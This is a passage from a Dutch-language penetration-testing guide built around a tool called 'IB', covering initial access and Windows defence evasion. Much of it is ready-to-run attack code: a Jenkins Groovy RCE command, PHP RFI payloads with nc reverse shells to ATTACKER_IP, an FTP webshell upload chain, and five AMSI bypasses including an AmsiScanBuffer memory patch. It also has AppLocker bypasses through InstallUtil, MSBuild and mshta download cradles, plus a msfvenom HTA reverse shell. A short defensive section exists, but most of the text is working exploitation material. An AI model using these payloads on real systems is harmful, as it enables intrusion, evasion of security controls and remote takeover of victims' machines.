java -jar jenkins-cli.jar -s http://TARGET:8080/ \
    -auth admin:PASSWORD groovy = <<< "println 'id'.execute().text"

3.5.7 Jenkins als springplank

Het gevaar van Jenkins gaat verder dan de Jenkins-server zelf. Jenkins communiceert typisch met:

• Source code repositories: GitLab, GitHub, Bitbucket – met opgeslagen SSH-sleutels of tokens
• Artifact stores: Nexus, Artifactory – met deployment credentials
• Cloud providers: AWS, Azure, GCP – met service account keys
• Databases: voor testing – met connectie-strings en wachtwoorden
• Productieservers: voor deployment – met SSH-sleutels of WinRM credentials

Elke credential die in Jenkins staat, is een nieuw aanvalspad. Een gecompromitteerde Jenkins-server is zelden het eindpunt – het is het begin van een veel grotere aanval. Dit is wat security professionals “lateral movement” noemen, en Jenkins is een van de effectiefste springplanken die er bestaan.

3.5.8 Bekende Jenkins CVEs

IB Tip: IB’s exploit_jenkins commandobestand bevat de volledige Jenkins exploitation flow: detectie, Groovy console shells (Linux en Windows), build step RCE, credential dumping en API-misbruik. De kern: als /script bereikbaar is, heb je RCE. Jenkins draait vaak als root of SYSTEM, dus dat betekent meestal directe privilege escalation.

3.6 Remote File Inclusion (RFI)

3.6.1 Het PHP-probleem

Remote File Inclusion is een kwetsbaarheid die vooral voorkomt in PHP-applicaties. Het werkt als volgt: de applicatie includeert een bestand op basis van gebruikersinput, en als die input een URL kan zijn, kan een aanvaller zijn eigen code laten uitvoeren.

De kwetsbare code ziet er meestal zo uit:

<?php
    include($_GET['page']);
?>

Als de aanvaller page=http://attacker.com/shell.php kan meegeven, includeert de server het bestand van de aanvaller en voert het uit. Het is alsof je tegen een kok zegt “maak wat er in dit recept staat” en hem dan een recept geeft voor vergif.

3.6.2 php://input methode

De php://input stream wrapper is bijzonder bruikbaar: het laat je PHP-code meegeven in de request body in plaats van via een extern bestand. Geen aparte hosting nodig.

# Stap 1: Start een listener
nc -lnvp 443

# Stap 2: Stuur de RFI payload
curl -v 'http://TARGET/vuln.php?page=php://input%00' \
    -d '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 443 >/tmp/f");?>'

De %00 (null byte) aan het einde van de URL is een oude truc: PHP-versies voor 5.3 interpreteerden de null byte als het einde van de string, waardoor een eventuele .php-extensie die de applicatie toevoegde werd genegeerd.

3.6.3 IB als payload host

IB draait een HTTP-server die bestanden uit http/payloads/ serveert. Dit maakt het ideaal als host voor RFI-payloads:

1. Genereer een payload via een van IB’s generators
2. De payload staat automatisch in http/payloads/
3. IB serveert het bestand via HTTP
4. Gebruik de URL in je RFI-aanval

# Voorbeeld: RFI met IB-gehoste webshell
curl 'http://TARGET/vuln.php?page=http://ATTACKER_IP:5000/static/payloads/shell.php'

IB Tip: IB’s Task Runner heeft een rfi_input taak die de php://input methode automatiseert. Het start automatisch een netcat listener in een screen-sessie en stuurt de RFI payload. De output vertelt je welke screen-sessie je shell bevat.

3.6.4 FTP als delivery-methode

IB heeft ook een FTP-gebaseerde aanvalsketen: ftp_asp.sh combineert anonymous FTP-upload met het triggeren van een ASP webshell:

# Wat ftp_asp.sh doet:
# 1. Start netcat listener in screen
screen -dmS ftp_asp_443 nc -lnvp 443

# 2. Upload ASP shell via anonymous FTP
ftp -n TARGET_IP <<END
quote USER Anonymous
quote PASS Anonymous
cd wwwroot
binary
put shell_443.asp
quit
END

# 3. Trigger de shell via HTTP
curl http://TARGET_IP/shell_443.asp

Dit is de klassieke keten: verkenning (anonymous FTP gevonden), payload delivery (upload via FTP), executie (trigger via HTTP). Drie stappen, minimale complexiteit, maximale impact.

3.7 Het cynische intermezzo: over wachtwoorden en menselijke feilbaarheid

Weet je wat het ironische is aan wachtwoordbeveiliging? We dwingen mensen om wachtwoorden te bedenken die moeilijk te onthouden zijn voor mensen, maar triviaal te kraken voor computers. P@ssw0rd1! voldoet aan elke complexiteitseis die een doorsnee IT-afdeling stelt: hoofdletter, kleine letter, cijfer, speciaal teken, minimaal 8 karakters. En het staat in elke woordenlijst die ooit is gemaakt.

Ondertussen zou mijn hond eet graag kaas op dinsdag een fantastisch wachtwoord zijn – lang, willekeurig, makkelijk te onthouden – maar het voldoet niet aan het beleid omdat er geen hoofdletter en geen speciaal teken in zit. We hebben een systeem gebouwd dat slechte wachtwoorden afdwingt en goede wachtwoorden afwijst. Dat is geen bug, dat is het ontwerp.

En Jenkins? Jenkins is de perfecte metafoor voor de staat van IT-beveiliging in het algemeen. We bouwen een systeem waarvan de letterlijke functie is “voer willekeurige code uit op een server”, geven het admin-rechten, zetten het op het netwerk, en vragen ons vervolgens af hoe de aanvallers zijn binnengekomen. Dat is alsof je een gewapende waakhond in je kantoor zet en dan verbaasd bent als hij iemand bijt.

Office macro’s zijn al twintig jaar een aanvalsvector, en ze werken nog steeds. Niet omdat de verdedigingen niet bestaan – ze bestaan. Maar omdat ergens in elke organisatie een manager is die zegt “schakel die macro-beveiliging uit, want mijn spreadsheet werkt niet meer.” En de IT-afdeling doet het. Omdat de manager hoger in de hierarchie staat dan het beveiligingsbeleid. Altijd.

3.8 Verdediging: hoe je dit voorkomt

Dit is het punt waar we even onze aanvallerspet afzetten en praktisch worden. Want het is leuk om kwetsbaarheden te vinden, maar het is nuttiger om ze te voorkomen.

3.8.1 Wachtwoordbeleid

• Blokkeer veelgebruikte wachtwoorden: gebruik een banned password list met seizoenen, bedrijfsnamen en bekende patronen
• Langere wachtwoorden: dwing minimaal 14 karakters af, liever 20+
• Passphrases aanmoedigen: mijn hond eet graag kaas is beter dan P@ssw0rd1!
• MFA overal: TOTP, FIDO2, of push-notificaties – alles is beter dan alleen een wachtwoord
• Account lockout met monitoring: lockout na 5 pogingen, maar monitor ook de mislukte pogingen

3.8.2 Patch management

• Jenkins: update regelmatig, beperk toegang tot /script en /manage
• WordPress: automatische updates voor plugins en themes
• PHP: upgrade naar ondersteunde versies, schakel allow_url_include uit
• Office: schakel macro’s uit voor bestanden van internet (Mark-of-the-Web)

3.8.3 Netwerk segmentatie

• Jenkins: niet op het gebruikersnetwerk, niet op het internet
• FTP: vervang door SFTP, of beperk tot specifieke IP-adressen
• Management interfaces: alleen bereikbaar vanuit een jump host of VPN

3.8.4 E-mail filtering

• Blokkeer macro-enabled bestanden: .docm, .xlsm, .pptm als bijlagen
• Sandboxing: open bijlagen in een sandbox voor analyse
• SPF, DKIM, DMARC: implementeer alle drie om spoofing te voorkomen
• Gebruikerstraining: ja, het helpt. Niet perfect, maar het helpt

3.8.5 Monitoring en detectie

Verdediging is niet alleen preventie – het is ook detectie. Zelfs de beste preventieve maatregelen falen soms. Zorg dat je het merkt wanneer dat gebeurt:

• Mislukte logins monitoren: een plotselinge golf van mislukte logins op meerdere accounts is een duidelijk teken van password spraying
• Anomaliedetectie: een gebruiker die plotseling inlogt om 3:00 ’s nachts vanuit een onbekend IP-adres verdient aandacht
• Endpoint Detection and Response (EDR): detecteert verdachte processen, shellcode-injectie en laterale beweging
• Network monitoring: ongebruikelijke uitgaande verbindingen (reverse shells) naar onbekende IP-adressen
• Honeypots: nep-accounts met eenvoudige wachtwoorden die een alert triggeren wanneer iemand probeert in te loggen
• Jenkins audit logging: wie heeft de Script Console gebruikt? Wie heeft Jobs gewijzigd?

De ironie is dat veel van deze aanvallen maanden onontdekt blijven – niet omdat de detectie zo moeilijk is, maar omdat niemand naar de logs kijkt. Een SIEM die logs verzamelt maar waar niemand op reageert, is een duur meubelstuk.

3.9 Samenvatting

Initiële toegang is zelden geavanceerd. Het is geduld, voorbereiding en het systematisch uitbuiten van menselijke feilbaarheid:

1. Password spraying werkt omdat mensen voorspelbare wachtwoorden kiezen – ken de lockout policy en spray voorzichtig
2. Brute force is last resort – gebruik Crowbar voor RDP, Hydra voor de rest, en hou de thread count laag
3. Woordenlijsten maken of breken je aanval – combineer CeWL, crunch en mutatie-regels
4. IB’s payload generators produceren kant-en-klare executables, scripts en documenten – van XOR-encrypted C# tot VBA macro’s
5. Office macro’s werken door social engineering, niet door technische briljantie
6. Jenkins is RCE-as-a-service als /script bereikbaar is
7. RFI exploiteert slechte PHP-configuratie – IB kan zowel als payload host als als aanvalstool dienen
8. Verdediging begint bij MFA, sterke wachtwoorden en netwerksegmentatie

3.10 Referentietabel

Vorige: Hoofdstuk 2 – Verkenning Volgende: Hoofdstuk 4 – Evasion

Evasion – Detectie Ontwijken

Waarin we ontdekken dat de hele beveiligingsindustrie een wapenwedloop is die niemand echt wint, en dat het Trojaanse paard nog steeds het best werkende concept uit de IT-geschiedenis is.

De Oudste Truc ter Wereld

Er is een verhaal – en ik weet niet of het waar is, maar het is te mooi om niet te vertellen – over een Engelse smokkelaar uit de achttiende eeuw die elke dag met een kruiwagen vol stro de grens over reed. De douanier prikte en porde in dat stro, dag na dag, week na week, en vond nooit iets. Jaren later, toen beiden met pensioen waren, liepen ze elkaar tegen het lijf in een kroeg. “Ik weet dat je iets smokkelde,” zei de douanier. “Vertel me wat het was.” De smokkelaar glimlachte. “Kruiwagens.”

Dat is, in essentie, het hele verhaal van evasion in informatiebeveiliging.

De Grieken bouwden een houten paard en de Trojanen sleepten het zelf naar binnen. Drieduizend jaar later downloadt een medewerker van de boekhouding een Excel-bestand genaamd factuur_Q3_DEFINITIEF_v2.xlsm en klikt op “Macro’s inschakelen.” De technologie is veranderd. De menselijke natuur niet.

Wat we in dit hoofdstuk gaan doen, is systematisch door de verdedigingslagen van een modern Windows-systeem heen wandelen. Niet omdat we graag dingen kapotmaken – hoewel dat een onmiskenbaar prettige bijkomstigheid is – maar omdat je pas begrijpt hoe sterk een slot is als je het hebt geprobeerd open te breken. Elke techniek die hier beschreven staat, heeft een tegenpool: een detectiemethode, een hardening-maatregel, een manier om het te voorkomen. We behandelen die ook. Maar eerst moeten we begrijpen wat we proberen te ontwijken.

De moderne Windows-verdediging bestaat ruwweg uit drie lagen:

1. AMSI – de Antimalware Scan Interface, die PowerShell-scripts en .NET-assemblies scant voordat ze uitgevoerd worden.
2. AppLocker / WDAC – applicatie-whitelisting die bepaalt welke executables mogen draaien.
3. Antivirus / EDR – de software die op handtekeningen en gedrag let, van Windows Defender tot commerciele EDR-oplossingen.

En dan is er nog een vierde laag die geen verdediging is maar eerder een slagveld: het geheugen van een draaiend proces, waar process injection plaatsvindt. Maar daarover later meer.

Laten we beginnen waar Microsoft dacht dat het slim was.

AMSI: De Bewaker Die Iedereen Kan Zien

Wat is AMSI?

De Antimalware Scan Interface is Microsofts antwoord op een probleem dat ze zelf gecreeerd hadden: PowerShell was zo krachtig geworden dat aanvallers het als hun favoriete gereedschap waren gaan gebruiken. AMSI, geintroduceerd in Windows 10, is een brug tussen applicaties (PowerShell, VBScript, JavaScript, Office VBA) en de geinstalleerde antimalware-software. Elke keer dat PowerShell een scriptblok uitvoert, stuurt het de tekst eerst naar AMSI, die het doorgeeft aan Defender (of welke AV dan ook geregistreerd is). AMSI zegt “ja” of “nee,” en PowerShell luistert.

Het is alsof je een bewaker bij de deur zet die elk pakketje openmaakt en controleert. Klinkt degelijk. Behalve dat de bewaker in hetzelfde gebouw staat als de mensen die hij controleert, en dat iedereen zijn werkschema kent. AMSI draait in het proces van de applicatie zelf – amsi.dll wordt in-process geladen. Dat betekent dat als je de controle over dat proces hebt, je de bewaker simpelweg kunt blinddoeken.

Of, om het cynisch samen te vatten: ze hebben een slot op de deur gezet en de sleutel aan de inbreker gegeven.

Hier zijn vijf manieren om die sleutel te gebruiken.

AMSI Bypass 1: Constrained Language Mode (CLM) Ontsnapping

Constrained Language Mode is PowerShells poging om gevaarlijke operaties te beperken. In CLM mag je geen Add-Type aanroepen, geen New-Object voor willekeurige .NET-klassen gebruiken, en geen directe .NET-method calls doen. Het idee is: als je PowerShell beperkt tot “veilige” cmdlets, kan een aanvaller er niets mee.

Het probleem is dat CLM een beleidsbeslissing is, geen fysieke muur. Er zijn meerdere wegen eromheen.

Methode 1: Custom Runspace

De elegantste bypass maakt een nieuwe PowerShell-runspace aan – een soort mini-PowerShell-sessie – die niet onderhevig is aan CLM:

# Custom runspace omzeilt CLM restricties
$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = 'STA'
$rs.ThreadOptions = 'ReuseThread'
$rs.Open()
$p = $rs.CreatePipeline()
$p.Commands.AddScript('$ExecutionContext.SessionState.LanguageMode')
$p.Invoke()

Als het antwoord FullLanguage is in plaats van ConstrainedLanguage, ben je vrij.

Methode 2: PowerShell v2

Dit is de hamerstijl-bypass: start simpelweg PowerShell versie 2, die geen AMSI heeft en geen CLM afdwingt:

# PowerShell v2: geen AMSI, geen CLM
powershell -version 2 -c "$ExecutionContext.SessionState.LanguageMode"

Het werkt alleen als .NET Framework 2.0 nog geinstalleerd is. Op verrassend veel systemen is dat zo, omdat niemand ooit de moeite heeft genomen het te verwijderen. Beveiligingsbeleid door middel van luiheid is, helaas, geen effectief beveiligingsbeleid.

Methode 3: PSBypassCLM via InstallUtil

# PSBypassCLM tool via InstallUtil (whitelisted binary)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe `
  /logfile= /LogToConsole=false /U C:\Windows\tasks\PSBypassCLM.exe

Dit gebruikt een techniek die we verderop in het AppLocker-gedeelte uitgebreider behandelen: InstallUtil.exe is een door Microsoft ondertekend programma dat AppLocker en CLM vertrouwen.

Methode 4: MSBuild Inline Task

# MSBuild voert C# uit buiten CLM
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
  C:\Windows\tasks\clm_bypass.xml

Het XML-bestand bevat inline C#-code die in FullLanguage mode draait, ongeacht wat de huidige PowerShell-sessie denkt.

Verificatie:

# Check je huidige language mode
$ExecutionContext.SessionState.LanguageMode

IB Tip: CLM blokkeert Add-Type, New-Object, en .NET method calls. Maar je kunt wel cmdlets aanroepen – alleen .NET interop is beperkt. Gebruik die beperking als detectiekans: als je in je logs ziet dat iemand een custom runspace aanmaakt, is er iets aan de hand.

AMSI Bypass 2: De amsiInitFailed Context Bypass

Dit is de bypass die je met een rechte rug aan een examinator kunt uitleggen, omdat hij zo logisch is dat het bijna grappig wordt. AMSI houdt intern een vlag bij genaamd amsiInitFailed. Als die op true staat, denkt AMSI dat zijn eigen initialisatie mislukt is, en slaat het alle scans over. Elke scan. Altijd. Het is alsof je de brandmelder vertelt dat hij kapot is, waarna hij braaf stopt met luisteren naar rook.

# Zet de amsiInitFailed flag naar true via reflection
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") { $c = $b }
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
    if ($e.Name -like "*Failed") { $f = $e }
}
$f.SetValue($null, $true)

Hoe het werkt: De code doorloopt de interne types van de System.Management.Automation-assembly, vindt de klasse die op iUtils eindigt (dat is AmsiUtils, maar we schrijven het niet voluit omdat dat zelf gedetecteerd wordt), vindt het statische veld dat op Failed eindigt, en zet het op true.

Test het met:

IEX 'amsiutils'

Als AMSI actief is, triggert het woord “amsiutils” een detectie. Na de bypass: stilte.

IB Tip: Dit is de simpelste bypass, maar wordt vaak gedetecteerd op de string zelf. Obfuscatie helpt:

# Obfuscatie voorbeeld: splits de class-naam
$w = 'System.Management.Automation.A]'
$c = 'si]Ut]able'.Replace(']','')
$z = [Ref].Assembly.GetType(($w + 'm' + $c))
# ... enzovoort

Let op: werkt niet in PowerShell 7+ vanwege gewijzigde internals.

AMSI Bypass 3: Memory Patching van AmsiScanBuffer

Als de vorige bypass het diplomatieke pad was, is dit de mokerslag. We overschrijven de functie AmsiScanBuffer in het geheugen met bytes die altijd AMSI_RESULT_CLEAN retourneren. AMSI wordt aangeroepen, probeert te scannen, en zijn eigen scanfunctie zegt: “Niets aan de hand.”

Dit is het equivalent van een inbreker die de camera’s niet uitschakelt, maar ze laat afspelen van een eerdere opname. De bewaker ziet beelden, denkt dat alles in orde is, en ondertussen wordt het magazijn leeggehaald.

# AmsiScanBuffer memory patch
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string n);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(
        IntPtr a, UIntPtr s, uint np, out uint op);
}
"@
Add-Type $Win32

$l = [Win32]::LoadLibrary("amsi.dll")
$a = [Win32]::GetProcAddress($l, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($a, [uint32]5, 0x40, [ref]$p)

# Patch: mov eax, 0x80070057 (E_INVALIDARG) + ret
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $a, 6)

Wat gebeurt er stap voor stap:

1. We laden kernel32.dll-functies via P/Invoke.
2. We vinden het adres van AmsiScanBuffer in amsi.dll.
3. We veranderen de geheugenpermissies van die locatie naar PAGE_EXECUTE_READWRITE (0x40) met VirtualProtect.
4. We schrijven zes bytes: mov eax, 0x80070057 gevolgd door ret. Dit zorgt ervoor dat de functie onmiddellijk retourneert met E_INVALIDARG, wat AMSI interpreteert als “scan niet mogelijk, ga door.”

De patch-bytes 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 zijn het equivalent van een uit zes letters bestaand briefje op de deur: “Ben er niet.”

IB Tip: Dit is de meest betrouwbare bypass en werkt op alle Windows-versies. Maar Defender detecteert de code die de patch uitvoert. Obfusceer, of gebruik een van de andere methoden als voorloper. Het is een soort kip-en-eiprobleem: je moet AMSI bypassen om je AMSI-bypass uit te voeren.

AMSI Bypass 4: Reflection – De AmsiContext Null Pointer

Deze variant is subtieler dan de memory patch. In plaats van de scanfunctie te overschrijven, zetten we de AmsiContext-pointer op nul. Wanneer AmsiScanBuffer wordt aangeroepen, probeert het de context te lezen, vindt een null pointer, en faalt gracefully – zonder alarm te slaan.

# AMSI Bypass via .NET Reflection - AmsiContext naar null
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") { $c = $b }
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
    if ($e.Name -like "*Context") { $f = $e }
}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Hoe het verschilt van de amsiInitFailed-methode: In plaats van AMSI te vertellen dat het niet geinitialiseerd is, laten we het normaal starten en vervolgens zijn eigen geheugen corrumperen. Het is het verschil tussen zeggen “ik ben ziek, ik kom niet” en daadwerkelijk de alarmsirene volgieten met beton.

IB Tip: Obfusceer variabelenamen als de signature gedetecteerd wordt. Combineer eventueel met het uitschakelen van real-time monitoring (vereist adminrechten):

Set-MpPreference -DisableRealtimeMonitoring $true

Maar dat genereert zelf een event. Niets is gratis.

AMSI Bypass 5: InvisiShell – De Nucleaire Optie

InvisiShell is geen bypass van AMSI. Het is een bypass van alles. Het omzeilt Script Block Logging, Module Logging, Transcription, en AMSI in een klap, door een custom CLR Profiler DLL te laden die hooks plaatst in de System.Management.Automation-assembly.

Als de vorige bypasses een lockpick waren, is InvisiShell een bulldozer door de achtermuur.

# Met admin privileges (registry keys in HKLM):
RunWithPathAsAdmin.bat

# Zonder admin privileges (registry keys in HKCU):
RunWithRegistryNonAdmin.bat

# Na gebruik: exit om hooks en registry keys op te ruimen
exit

In de InvisiShell-sessie die daarna opent:

• Alle PowerShell-scripts laden zonder detectie.
• AMSI-bypass is niet meer nodig – AMSI ziet niets.
• Script Block Logging ziet niets.
• Module Logging ziet niets.
• Transcription ziet niets.

Het is alsof je een onzichtbaarheidsmantel om je PowerShell-sessie hebt geslagen. Vandaar de naam.

IB Tip: InvisiShell moet VOOR andere tools geladen worden. Het werkt door CLR Profiler hooking op System.Management.Automation, wat betekent dat het alleen werkt in nieuwe PowerShell-processen – niet in bestaande sessies. Start het dus als allereerste stap na initial access.

AMSI: Het Grotere Plaatje

Vijf bypasses. Vijf manieren om een beveiligingsmechanisme te omzeilen dat Microsoft in 2015 met groot enthousiasme presenteerde. En dit zijn alleen de publiek bekende methoden. De les hier is niet dat AMSI waardeloos is – het vangt genoeg commodity malware af om zijn bestaan te rechtvaardigen. De les is dat AMSI een laag is, geen muur. Het houdt script kiddies tegen. Het houdt professionals niet tegen.

En dat brengt ons bij de volgende laag.

AppLocker: De Poortwachter met Alzheimer

Wat is AppLocker?

AppLocker is Microsofts applicatie-whitelisting-technologie. Het idee is eenvoudig en, in theorie, krachtig: beheerders definieerden regels die bepalen welke executables, scripts, DLL’s en installers mogen draaien. Alles wat niet op de lijst staat, wordt geblokkeerd.

In de praktijk betekent dit dat beheerders een lijst maken van toegestane programma’s, en dat aanvallers vervolgens programma’s gebruiken die al op die lijst staan. Want hier is het briljante inzicht achter Living Off The Land Binaries (LOLBins): Microsoft levert standaard tientallen ondertekende executables mee die dingen kunnen doen waar ze nooit voor bedoeld waren.

Het is alsof je een lijst maakt van mensen die het gebouw in mogen, en vergeet dat de schoonmaker ook een sleutel heeft tot de serverruimte.

AppLocker Bypass 1: InstallUtil.exe

InstallUtil.exe is een .NET-hulpprogramma voor het installeren en deinstalleren van Windows-services. Het staat standaard in de AppLocker-whitelist omdat het een door Microsoft ondertekende binary is in de .NET Framework-directory. Het probleem: de /U-vlag (uninstall) voert willekeurige code uit in de Uninstall()-methode van een .NET- assembly.

Stap 1: Compileer een C#-payload met een Uninstall-methode

// bypass.cs - AppLocker bypass via InstallUtil
using System;
using System.Configuration.Install;
using System.ComponentModel;

[RunInstaller(true)]
public class Bypass : Installer
{
    public override void Uninstall(System.Collections.IDictionary state)
    {
        // Hier je payload -- reverse shell, download cradle, etc.
        Console.WriteLine("AppLocker? Welke AppLocker?");
    }
}

Compileer met de standaard .NET-compiler (die ook whitelisted is):

# Compileer de payload
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe `
  /target:exe `
  /out:C:\Windows\tasks\bypass.exe `
  C:\Windows\tasks\bypass.cs

Stap 2: Uitvoeren via InstallUtil

# 64-bit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe `
  /logfile= /LogToConsole=false /U C:\Windows\tasks\bypass.exe

# 32-bit variant
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe `
  /logfile= /LogToConsole=false /U C:\Windows\tasks\bypass.exe

De /logfile= en /LogToConsole=false vlaggen onderdrukken output. Stilte is goud.

IB Tip: De payload moet System.Configuration.Install.Installer overerven en het attribuut [RunInstaller(true)] hebben. Zonder die twee zal InstallUtil de Uninstall()-methode niet aanroepen. Het is een van die gevallen waar de documentatie je vertelt hoe je de bypass moet schrijven.

AppLocker Bypass 2: MSBuild.exe

MSBuild is Microsofts build-tool voor .NET-projecten. Het leest XML-projectbestanden en voert de daarin gedefinieerde taken uit. Tot die taken behoren inline C#-taken, wat betekent dat MSBuild willekeurige C#-code kan compileren en uitvoeren.

Het is alsof je de schilder die je hebt ingehuurd om de muren te verven, ook de sleutels van de kluis geeft. Want ja, hij moet erbij kunnen om de lijst te verven. Toch?

# 64-bit MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
  C:\Windows\tasks\build.xml

# 32-bit variant
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe `
  C:\Windows\tasks\build.xml

# Remote XML laden via UNC pad (indien SMB open staat)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
  \\10.0.0.1\share\build.xml

Het XML-bestand ziet er ongeveer zo uit:

<!-- build.xml - MSBuild inline task voorbeeld -->
<Project ToolsVersion="4.0"
         xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Exec">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassExample : Task, ITask {
            public override bool Execute() {
              // Payload hier
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

IB Tip: De inline task moet een <UsingTask> element bevatten met TaskFactory="CodeTaskFactory" en een verwijzing naar Microsoft.Build.Tasks.v4.0.dll voor .NET-referenties. Vergeet je dat, dan krijg je een cryptische MSBuild-foutmelding die je een half uur van je leven kost.

AppLocker Bypass 3: MSHTA.exe

MSHTA is de Microsoft HTML Application Host. Het voert .hta-bestanden uit, wat in feite HTML-pagina’s zijn met VBScript of JavaScript die buiten de browsersandbox draaien. MSHTA staat in de AppLocker-whitelist omdat het een ondertekende Windows-binary is.

Het is – en ik vind het moeilijk om dit zonder een zucht te schrijven – een van de meest misbruikte LOLBins in de geschiedenis van Windows.

Methode 1: Inline VBScript met download cradle

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payloads/amsi-shell.ps1')"":close")

Methode 2: HTA-bestand via URL

mshta http://ATTACKER_IP/payloads/shell.hta

Methode 3: Inline JavaScript

mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").Run("powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payloads/amsi-shell.ps1')");

Methode 4: Via COM object met certutil download

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd /c certutil -urlcache -f http://ATTACKER_IP/tools/nc.exe C:\Windows\tasks\nc.exe && C:\Windows\tasks\nc.exe ATTACKER_IP 443 -e cmd.exe"":close")

Vier methoden. Vier manieren om via een door Microsoft ondertekende binary willekeurige code uit te voeren. En dit is nog maar een van de tientallen LOLBins.

IB Tip: MSHTA is een LOLBin – een Living Off The Land Binary. Dat wil zeggen: het staat al op het systeem, het is ondertekend door Microsoft, en AppLocker vertrouwt het. Detectie moet op gedrag gericht zijn: als mshta.exe een powershell.exe-kindproces start, is er iets goed mis.

AV Bypass: De Komedie van de Handtekeningen

Het Probleem met Antivirus

Laten we even eerlijk zijn over de antivirus-industrie. Het is een bedrijfstak van miljarden dollars die gebaseerd is op het volgende businessmodel: wij verkopen je een product dat malware herkent die we al kennen. Voor malware die we niet kennen, heb je pech. Maar maak je geen zorgen, want morgen kennen we die ook, en dan verkopen we je een update.

Het is alsof de politie zegt: “We kunnen elke dief pakken die we al eerder gepakt hebben. Nieuwe dieven? Daar werken we aan.”

Signature-based detection – het hart van traditionele AV – werkt door bestanden te vergelijken met een database van bekende patronen. Verander een byte, en het patroon klopt niet meer. De hele verdediging is gebaseerd op de aanname dat aanvallers te lui zijn om hun tools aan te passen. En eerlijk gezegd was die aanname jarenlang correct. Maar we leven niet meer in jarenlang.

Moderne AV-producten hebben heuristics en machine learning toegevoegd, en EDR-oplossingen kijken naar gedrag in plaats van handtekeningen. Maar de kern is nog steeds reactief: iemand moet de aanval eerst zien voordat er een detectie voor geschreven kan worden.

In deze sectie bekijken we vier technieken die in Incompetent Bastard zitten om met die realiteit om te gaan.

AV Bypass 1: DefenderCheck & AMSITrigger – Vind Wat Opvalt

Voordat je iets kunt verbergen, moet je weten wat zichtbaar is. Dat is waar DefenderCheck en AMSITrigger om de hoek komen kijken. Het zijn geen evasion-tools – het zijn diagnostische tools. Ze vertellen je welke delen van je payload de detectie triggeren.

DefenderCheck – Scan een binary:

# Vindt exact welke bytes in je binary gedetecteerd worden
DefenderCheck.exe C:\path\to\binary.exe

AMSITrigger – Scan een PowerShell-script:

# Vindt welke strings in je script AMSI triggeren
AmsiTrigger_x64.exe -i C:\path\to\script.ps1

# Verbose output voor meer detail:
AmsiTrigger_x64.exe -i C:\path\to\script.ps1 -f 3

Het iteratieve proces:

1. Scan met DefenderCheck of AMSITrigger.
2. Pas gedetecteerde strings aan – hernoem functies, variabelen, split strings.
3. Obfusceer de binary met ConfuserEx.
4. Scan opnieuw.
5. Herhaal tot je AMSI_RESULT_NOT_DETECTED krijgt.

# Voorbeeld: string-splitting om detectie te omzeilen
# Voor:  "Invoke-Mimikatz"
# Na:    "Inv" + "oke-Mim" + "ikatz"

# Voorbeeld: Base64-encoding voor obfuscatie
$encoded = [System.Convert]::FromBase64String($payload)

Het is de digitale versie van een verdachte die steeds van vermomming wisselt tot de politiefoto niet meer klopt. Behalve dat de verdachte de politiefoto heeft en in de spiegel kan kijken.

IB Tip: Dit is een iteratief proces. Scan, pas aan, scan opnieuw. De kunst is om minimaal te wijzigen – verander alleen wat gedetecteerd wordt, niet de hele payload. Hoe meer je verandert, hoe groter de kans dat je iets kapotmaakt.

AV Bypass 2: HTA Execution

HTA-bestanden – HTML Applications – zijn een van die wonderlijke Microsoft-concepten die bedoeld waren om beheerders het leven makkelijker te maken en die in de praktijk vooral aanvallers blij maken. Een HTA draait als volwaardige applicatie, niet in een browsersandbox. Het heeft toegang tot COM-objecten, het bestandssysteem, en kan processen starten.

Generatie met msfvenom:

# HTA payload genereren met msfvenom
msfvenom -p windows/shell_reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 \
  -f hta-psh -o evil.hta

Handmatige HTA met PowerShell download cradle:

<html>
<head>
<script language="VBScript">
  Sub RunPS()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "powershell -ep bypass -w hidden -c " & _
      "IEX(New-Object Net.WebClient).DownloadString(" & _
      "'http://ATTACKER_IP/shell.ps1')", 0
  End Sub
  RunPS
  self.close
</script>
</head>
<body></body>
</html>

Delivery-methoden:

# 1. Direct via URL (social engineering):
mshta http://ATTACKER_IP/evil.hta

